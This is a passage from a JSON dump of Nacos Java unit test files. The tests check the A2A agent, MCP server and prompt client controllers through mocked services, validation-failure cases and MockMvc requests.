\"{\\\"name\\\":\\\"test-agent\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"protocolVersion\\\":\\\"1.0\\\",\\\"preferredTransport\\\":\\\"JSONRPC\\\",\\\"description\\\":\\\"Updated description\\\",\\\"url\\\":\\\"http://test-agent.example.com\\\"}\");\n        \n        agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setNamespaceId(\"public\");\n        agentListForm.setSearch(MCP_LIST_SEARCH_BLUR);\n        \n        pageForm = new PageForm();\n        pageForm.setPageNo(1);\n        pageForm.setPageSize(10);\n    }\n    \n    @Test\n    void testRegisterAgentSuccess() throws NacosException {\n        // Arrange\n        doNothing().when(a2aServerOperationService).registerAgent(any(AgentCard.class), anyString(), anyString());\n        \n        // Act\n        Result<String> result = a2aAdminController.registerAgent(agentCardForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(\"ok\", result.getData());\n        verify(a2aServerOperationService).registerAgent(any(AgentCard.class), anyString(), anyString());\n    }\n    \n    @Test\n    void testRegisterAgentValidationFailure() throws NacosException {\n        // Arrange\n        AgentCardForm invalidForm = new AgentCardForm();\n        // Missing required name field\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.registerAgent(invalidForm));\n        verify(a2aServerOperationService, never()).registerAgent(any(AgentCard.class), anyString(), anyString());\n    }\n    \n    @Test\n    void testRegisterAgentServiceException() throws NacosException {\n        // Arrange\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, \"Registration failed\");\n        doThrow(exception).when(a2aServerOperationService)\n                .registerAgent(any(AgentCard.class), anyString(), anyString());\n        \n        // Act & Assert\n        assertThrows(NacosException.class, () -> a2aAdminController.registerAgent(agentCardForm));\n        verify(a2aServerOperationService).registerAgent(any(AgentCard.class), anyString(), anyString());\n    }\n    \n    @Test\n    void testGetAgentCardSuccess() throws NacosApiException {\n        // Arrange\n        AgentCardDetailInfo expectedAgentCard = new AgentCardDetailInfo();\n        expectedAgentCard.setName(\"test-agent\");\n        expectedAgentCard.setVersion(\"1.0.0\");\n        expectedAgentCard.setProtocolVersion(\"1.0\");\n        expectedAgentCard.setPreferredTransport(\"JSONRPC\");\n        expectedAgentCard.setDescription(\"Test agent description\");\n        \n        when(a2aServerOperationService.getAgentCard(anyString(), anyString(), anyString(), anyString())).thenReturn(\n                expectedAgentCard);\n        \n        // Act\n        Result<AgentCardDetailInfo> result = a2aAdminController.getAgentCard(agentForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(expectedAgentCard, result.getData());\n        verify(a2aServerOperationService).getAgentCard(anyString(), anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testGetAgentCardValidationFailure() throws NacosApiException {\n        // Arrange\n        AgentForm invalidForm = new AgentForm();\n        // Missing required fields\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.getAgentCard(invalidForm));\n        verify(a2aServerOperationService, never()).getAgentCard(anyString(), anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testGetAgentCardServiceException() throws NacosApiException {\n        // Arrange\n        NacosApiException exception = new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.RESOURCE_NOT_FOUND,\n                \"Agent not found\");\n        when(a2aServerOperationService.getAgentCard(anyString(), anyString(), anyString(), anyString())).thenThrow(\n                exception);\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.getAgentCard(agentForm));\n        verify(a2aServerOperationService).getAgentCard(anyString(), anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testUpdateAgentCardSuccess() throws NacosException {\n        // Arrange\n        doNothing().when(a2aServerOperationService)\n                .updateAgentCard(any(AgentCard.class), anyString(), anyString(), anyBoolean());\n        \n        // Act\n        Result<String> result = a2aAdminController.updateAgentCard(agentCardUpdateForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(\"ok\", result.getData());\n        verify(a2aServerOperationService).updateAgentCard(any(AgentCard.class), anyString(), anyString(), anyBoolean());\n    }\n    \n    @Test\n    void testUpdateAgentCardValidationFailure() throws NacosException {\n        // Arrange\n        AgentCardUpdateForm invalidForm = new AgentCardUpdateForm();\n        // Missing required name field\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.updateAgentCard(invalidForm));\n        verify(a2aServerOperationService, never()).updateAgentCard(any(AgentCard.class), anyString(), anyString(),\n                anyBoolean());\n    }\n    \n    @Test\n    void testUpdateAgentCardServiceException() throws NacosException {\n        // Arrange\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, \"Update failed\");\n        doThrow(exception).when(a2aServerOperationService)\n                .updateAgentCard(any(AgentCard.class), anyString(), anyString(), anyBoolean());\n        \n        // Act & Assert\n        assertThrows(NacosException.class, () -> a2aAdminController.updateAgentCard(agentCardUpdateForm));\n        verify(a2aServerOperationService).updateAgentCard(any(AgentCard.class), anyString(), anyString(), anyBoolean());\n    }\n    \n    @Test\n    void testDeleteAgentSuccess() throws NacosException {\n        // Arrange\n        doNothing().when(a2aServerOperationService).deleteAgent(anyString(), anyString(), anyString());\n        \n        // Act\n        Result<String> result = a2aAdminController.deleteAgent(agentForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(\"ok\", result.getData());\n        verify(a2aServerOperationService).deleteAgent(anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testDeleteAgentValidationFailure() throws NacosException {\n        // Arrange\n        AgentForm invalidForm = new AgentForm();\n        // Missing required fields\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.deleteAgent(invalidForm));\n        verify(a2aServerOperationService, never()).deleteAgent(anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testDeleteAgentServiceException() throws NacosException {\n        // Arrange\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, \"Delete failed\");\n        doThrow(exception).when(a2aServerOperationService).deleteAgent(anyString(), anyString(), anyString());\n        \n        // Act & Assert\n        assertThrows(NacosException.class, () -> a2aAdminController.deleteAgent(agentForm));\n        verify(a2aServerOperationService).deleteAgent(anyString(), anyString(), anyString());\n    }\n    \n    @Test\n    void testListAgentsSuccess() throws NacosException {\n        // Arrange\n        AgentCardVersionInfo agent1 = new AgentCardVersionInfo();\n        agent1.setName(\"agent1\");\n        agent1.setLatestPublishedVersion(\"1.0.0\");\n        \n        AgentCardVersionInfo agent2 = new AgentCardVersionInfo();\n        agent2.setName(\"agent2\");\n        agent2.setLatestPublishedVersion(\"2.0.0\");\n        \n        List<AgentCardVersionInfo> agentList = Arrays.asList(agent1, agent2);\n        Page<AgentCardVersionInfo> expectedPage = new Page<>();\n        expectedPage.setPageItems(agentList);\n        expectedPage.setTotalCount(2);\n        expectedPage.setPageNumber(1);\n        expectedPage.setPagesAvailable(1);\n        \n        when(a2aServerOperationService.listAgents(anyString(), anyString(), anyString(), anyInt(),\n                anyInt())).thenReturn(expectedPage);\n        \n        // Act\n        Result<Page<AgentCardVersionInfo>> result = a2aAdminController.listAgents(agentListForm, pageForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(expectedPage, result.getData());\n        assertEquals(2, result.getData().getTotalCount());\n        assertEquals(2, result.getData().getPageItems().size());\n        verify(a2aServerOperationService).listAgents(anyString(), anyString(), anyString(), anyInt(), anyInt());\n    }\n    \n    @Test\n    void testListAgentsAgentListFormValidationFailure() throws NacosException {\n        // Arrange\n        AgentListForm invalidForm = new AgentListForm();\n        // Missing required fields\n        PageForm validPageForm = new PageForm();\n        validPageForm.setPageNo(1);\n        validPageForm.setPageSize(10);\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.listAgents(invalidForm, validPageForm));\n        verify(a2aServerOperationService, never()).listAgents(anyString(), anyString(), anyString(), anyInt(),\n                anyInt());\n    }\n    \n    @Test\n    void testListAgentsPageFormValidationFailure() throws NacosException {\n        // Arrange\n        AgentListForm validAgentListForm = new AgentListForm();\n        validAgentListForm.setAgentName(\"test-agent\");\n        validAgentListForm.setNamespaceId(\"public\");\n        validAgentListForm.setSearch(MCP_LIST_SEARCH_BLUR);\n        \n        PageForm invalidPageForm = new PageForm();\n        invalidPageForm.setPageNo(0); // Invalid page number\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.listAgents(validAgentListForm, invalidPageForm));\n        verify(a2aServerOperationService, never()).listAgents(anyString(), anyString(), anyString(), anyInt(),\n                anyInt());\n    }\n    \n    @Test\n    void testListAgentsServiceException() throws NacosException {\n        // Arrange\n        NacosException exception = new NacosException(NacosException.SERVER_ERROR, \"List failed\");\n        when(a2aServerOperationService.listAgents(anyString(), anyString(), anyString(), anyInt(), anyInt())).thenThrow(\n                exception);\n        \n        // Act & Assert\n        assertThrows(NacosException.class, () -> a2aAdminController.listAgents(agentListForm, pageForm));\n        verify(a2aServerOperationService).listAgents(anyString(), anyString(), anyString(), anyInt(), anyInt());\n    }\n    \n    @Test\n    void testListAgentVersionsSuccess() throws NacosException {\n        // Arrange\n        AgentVersionDetail version1 = new AgentVersionDetail();\n        version1.setVersion(\"1.0.0\");\n        version1.setLatest(true);\n        \n        AgentVersionDetail version2 = new AgentVersionDetail();\n        version2.setVersion(\"2.0.0\");\n        version2.setLatest(false);\n        \n        List<AgentVersionDetail> versionList = Arrays.asList(version1, version2);\n        \n        when(a2aServerOperationService.listAgentVersions(anyString(), anyString())).thenReturn(versionList);\n        \n        // Act\n        Result<List<AgentVersionDetail>> result = a2aAdminController.listAgentVersions(agentForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(versionList, result.getData());\n        assertEquals(2, result.getData().size());\n        verify(a2aServerOperationService).listAgentVersions(anyString(), anyString());\n    }\n    \n    @Test\n    void testListAgentVersionsValidationFailure() throws NacosApiException {\n        // Arrange\n        AgentForm invalidForm = new AgentForm();\n        // Missing required fields\n        \n        // Act & Assert\n        assertThrows(NacosApiException.class, () -> a2aAdminController.listAgentVersions(invalidForm));\n        verify(a2aServerOperationService, never()).listAgentVersions(anyString(), anyString());\n    }\n    \n    @Test\n    void testListAgentVersionsEmptyResult() throws NacosException {\n        // Arrange\n        List<AgentVersionDetail> emptyList = Arrays.asList();\n        when(a2aServerOperationService.listAgentVersions(anyString(), anyString())).thenReturn(emptyList);\n        \n        // Act\n        Result<List<AgentVersionDetail>> result = a2aAdminController.listAgentVersions(agentForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(emptyList, result.getData());\n        assertEquals(0, result.getData().size());\n        verify(a2aServerOperationService).listAgentVersions(anyString(), anyString());\n    }\n    \n    @Test\n    void testListAgentsEmptyResult() throws NacosException {\n        // Arrange\n        List<AgentCardVersionInfo> emptyList = Arrays.asList();\n        Page<AgentCardVersionInfo> emptyPage = new Page<>();\n        emptyPage.setPageItems(emptyList);\n        emptyPage.setTotalCount(0);\n        emptyPage.setPageNumber(1);\n        emptyPage.setPagesAvailable(1);\n        \n        when(a2aServerOperationService.listAgents(anyString(), anyString(), anyString(), anyInt(),\n                anyInt())).thenReturn(emptyPage);\n        \n        // Act\n        Result<Page<AgentCardVersionInfo>> result = a2aAdminController.listAgents(agentListForm, pageForm);\n        \n        // Assert\n        assertNotNull(result);\n        assertEquals(emptyPage, result.getData());\n        assertEquals(0, result.getData().getTotalCount());\n        assertEquals(0, result.getData().getPageItems().size());\n        verify(a2aServerOperationService).listAgents(anyString(), anyString(), anyString(), anyInt(), anyInt());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/controller/McpAdminControllerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport jakarta.servlet.ServletException;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.junit.jupiter.api.function.Executable;\nimport org.mockito.Mock;\nimport org.springframework.core.env.ConfigurableEnvironment;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.mock.web.MockHttpServletResponse;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertInstanceOf;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass McpAdminControllerTest {\n    \n    private static final String MCP_SERVER_SPEC =\n            \"{\\\"protocol\\\":\\\"stdio\\\",\\\"frontProtocol\\\":\\\"stdio\\\",\\\"name\\\":\\\"nacos-mcp-server\\\",\"\n                    + \"\\\"id\\\":\\\"\\\",\\\"description\\\":\\\"nacos local mcp server(test version)\\\",\\\"versionDetail\\\":{\\\"version\\\":\\\"1.0.0\\\"},\"\n                    + \"\\\"enabled\\\":true,\\\"localServerConfig\\\":{}}'\";\n    \n    private McpAdminController mcpAdminController;\n    \n    private MockMvc mockMvc;\n    \n    private ConfigurableEnvironment cachedEnvironment;\n    \n    @Mock\n    private McpServerOperationService mcpServerOperationService;\n    \n    @BeforeEach\n    void setUp() {\n        cachedEnvironment = EnvUtil.getEnvironment();\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        mcpAdminController = new McpAdminController(mcpServerOperationService);\n        mockMvc = MockMvcBuilders.standaloneSetup(mcpAdminController).build();\n    }\n    \n    @AfterEach\n    void tearDown() {\n        EnvUtil.setEnvironment(cachedEnvironment);\n    }\n    \n    @Test\n    void listMcpServersWithIllegalSearch() throws Throwable {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH + \"/list\")\n                .param(\"search\", \"illegal\");\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder).andReturn(),\n                \"ErrCode:400, ErrMsg:Request parameter `search` should be `accurate` or `blur`.\");\n    }\n    \n    @Test\n    void listMcpServersWithIllegalPage() throws Throwable {\n        final MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH + \"/list\")\n                .param(\"search\", \"blur\").param(\"pageNo\", \"-1\");\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder).andReturn(),\n                \"ErrCode:400, ErrMsg:Required parameter 'pageNo' should be positive integer, current is -1\");\n        final MockHttpServletRequestBuilder builder2 = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH + \"/list\")\n                .param(\"search\", \"blur\").param(\"pageNo\", \"1\").param(\"pageSize\", \"0\");\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder2).andReturn(),\n                \"ErrCode:400, ErrMsg:Required parameter 'pageSize' should be positive integer, current is 0\");\n    }\n    \n    @Test\n    void listMcpServersSuccess() throws Throwable {\n        when(mcpServerOperationService.listMcpServerWithPage(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null,\n                Constants.MCP_LIST_SEARCH_ACCURATE, 1, 100)).thenReturn(new Page<>());\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH + \"/list\")\n                .param(\"pageNo\", \"1\").param(\"pageSize\", \"100\");\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<Page<McpServerBasicInfo>> result = JacksonUtils.toObj(response.getContentAsString(),\n                new TypeReference<>() {\n                });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertInstanceOf(Page.class, result.getData());\n    }\n    \n    @Test\n    void getMcpServerWithoutMcpIdAndMcpName() throws Throwable {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH);\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder).andReturn(),\n                \"ErrCode:400, ErrMsg:Required parameter 'mcpId' or 'mcpName' type String at lease one is not present\");\n    }\n    \n    @Test\n    void getMcpServerWithMcpName() throws Exception {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH)\n                .param(\"mcpName\", \"testName\");\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"testName\",\n                null)).thenReturn(new McpServerDetailInfo());\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<McpServerDetailInfo> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertInstanceOf(McpServerDetailInfo.class, result.getData());\n    }\n    \n    @Test\n    void getMcpServerWithMcpId() throws Exception {\n        String id = UUID.randomUUID().toString();\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH).param(\"mcpId\", id);\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                null)).thenReturn(new McpServerDetailInfo());\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<McpServerDetailInfo> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertInstanceOf(McpServerDetailInfo.class, result.getData());\n    }\n    \n    @Test\n    void getMcpServerWithVersion() throws Exception {\n        String id = UUID.randomUUID().toString();\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.MCP_ADMIN_PATH).param(\"mcpId\", id)\n                .param(\"namespaceId\", \"testNs\").param(\"version\", \"1.0.0\");\n        when(mcpServerOperationService.getMcpServerDetail(\"testNs\", id, null, \"1.0.0\")).thenReturn(\n                new McpServerDetailInfo());\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<McpServerDetailInfo> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertInstanceOf(McpServerDetailInfo.class, result.getData());\n    }\n    \n    @Test\n    void createMcpServerWithoutSpec() throws Throwable {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.post(Constants.MCP_ADMIN_PATH);\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder).andReturn(),\n                \"ErrCode:400, ErrMsg:Required parameter 'serverSpecification' type McpServerBasicInfo is not present\");\n    }\n    \n    @Test\n    void createMcpServerWithSpec() throws Exception {\n        String mcpId = UUID.randomUUID().toString();\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.post(Constants.MCP_ADMIN_PATH)\n                .param(\"serverSpecification\", MCP_SERVER_SPEC);\n        when(mcpServerOperationService.createMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                any(McpServerBasicInfo.class), any(), any())).thenReturn(mcpId);\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(mcpId, result.getData());\n        verify(mcpServerOperationService).createMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                any(McpServerBasicInfo.class), isNull(), isNull());\n    }\n    \n    @Test\n    void updateMcpServerWithoutSpec() throws Throwable {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.put(Constants.MCP_ADMIN_PATH);\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder).andReturn(),\n                \"ErrCode:400, ErrMsg:Required parameter 'serverSpecification' type McpServerBasicInfo is not present\");\n    }\n    \n    @Test\n    void updateMcpServerWithSpec() throws Exception {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.put(Constants.MCP_ADMIN_PATH)\n                .param(\"serverSpecification\", MCP_SERVER_SPEC);\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(\"ok\", result.getData());\n        verify(mcpServerOperationService).updateMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), eq(true),\n                any(McpServerBasicInfo.class), isNull(), isNull(), eq(false));\n    }\n\n    @Test\n    void updateMcpServerWithOverrideExisting() throws Exception {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.put(Constants.MCP_ADMIN_PATH)\n                .param(\"serverSpecification\", MCP_SERVER_SPEC).param(\"overrideExisting\", \"true\");\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(\"ok\", result.getData());\n        verify(mcpServerOperationService).updateMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), eq(true),\n                any(McpServerBasicInfo.class), isNull(), isNull(), eq(true));\n    }\n    \n    @Test\n    void updateMcpServerWithoutLatest() throws Exception {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.put(Constants.MCP_ADMIN_PATH)\n                .param(\"serverSpecification\", MCP_SERVER_SPEC).param(\"latest\", \"false\");\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(\"ok\", result.getData());\n        verify(mcpServerOperationService).updateMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), eq(false),\n                any(McpServerBasicInfo.class), isNull(), isNull(), eq(false));\n    }\n    \n    @Test\n    void deleteMcpServerWithoutMcpIdAndMcpName() throws Throwable {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.MCP_ADMIN_PATH);\n        assertServletException(NacosApiException.class, () -> mockMvc.perform(builder).andReturn(),\n                \"ErrCode:400, ErrMsg:Required parameter 'mcpId' or 'mcpName' type String at lease one is not present\");\n    }\n    \n    @Test\n    void deleteMcpServerWithMcpName() throws Exception {\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.MCP_ADMIN_PATH)\n                .param(\"mcpName\", \"testName\");\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(\"ok\", result.getData());\n        verify(mcpServerOperationService).deleteMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"testName\", null,\n                null);\n    }\n    \n    @Test\n    void deleteMcpServerWithMcpId() throws Exception {\n        String id = UUID.randomUUID().toString();\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.MCP_ADMIN_PATH)\n                .param(\"mcpId\", id);\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(\"ok\", result.getData());\n        verify(mcpServerOperationService).deleteMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, id, null);\n    }\n    \n    @Test\n    void deleteMcpServerWithVersion() throws Exception {\n        String id = UUID.randomUUID().toString();\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.delete(Constants.MCP_ADMIN_PATH)\n                .param(\"mcpId\", id).param(\"namespaceId\", \"testNs\").param(\"version\", \"1.0.0\");\n        MockHttpServletResponse response = mockMvc.perform(builder).andReturn().getResponse();\n        assertEquals(200, response.getStatus());\n        Result<String> result = JacksonUtils.toObj(response.getContentAsString(), new TypeReference<>() {\n        });\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(\"ok\", result.getData());\n        verify(mcpServerOperationService).deleteMcpServer(\"testNs\", null, id, \"1.0.0\");\n    }\n    \n    private static <T extends Throwable> void assertServletException(Class<T> expectedCause, Executable executable,\n            String expectedMsg) throws Throwable {\n        try {\n            executable.execute();\n        } catch (ServletException e) {\n            Throwable caused = e.getCause();\n            assertInstanceOf(expectedCause, caused);\n            assertEquals(expectedMsg, caused.toString());\n        }\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/controller/PromptClientControllerTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.ai.service.prompt.PromptClientOperationService;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport jakarta.servlet.http.HttpServletResponse;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.mock.web.MockHttpServletResponse;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass PromptClientControllerTest {\n    \n    @Mock\n    private PromptClientOperationService promptClientOperationService;\n    \n    private PromptClientController controller;\n    \n    @BeforeEach\n    void setUp() {\n        controller = new PromptClientController(promptClientOperationService);\n    }\n    \n    @Test\n    void queryPromptShouldReturn304AndNullWhenNotModified() throws NacosException {\n        PromptQueryForm form = new PromptQueryForm();\n        form.setPromptKey(\"p1\");\n        HttpServletResponse response = new MockHttpServletResponse();\n        when(promptClientOperationService.queryPrompt(\"public\", \"p1\", null, null, null))\n                .thenThrow(new NacosException(NacosException.NOT_MODIFIED, \"up to date\"));\n        \n        Result<Prompt> result = controller.queryPrompt(form, response);\n        \n        assertEquals(304, response.getStatus());\n        assertNull(result.getData());\n    }\n    \n    @Test\n    void queryPromptShouldReturnPromptWhenSuccess() throws NacosException {\n        PromptQueryForm form = new PromptQueryForm();\n        form.setPromptKey(\"p1\");\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        PromptVersionInfo versionInfo = new PromptVersionInfo();\n        versionInfo.setPromptKey(\"p1\");\n        versionInfo.setVersion(\"1.0.0\");\n        versionInfo.setTemplate(\"template\");\n        versionInfo.setMd5(\"md5\");\n        when(promptClientOperationService.queryPrompt(\"public\", \"p1\", null, null, null)).thenReturn(versionInfo);\n        \n        Result<Prompt> result = controller.queryPrompt(form, response);\n        \n        assertNotNull(result.getData());\n        assertEquals(\"p1\", result.getData().getPromptKey());\n        assertEquals(\"1.0.0\", result.getData().getVersion());\n        assertEquals(\"template\", result.getData().getTemplate());\n    }\n    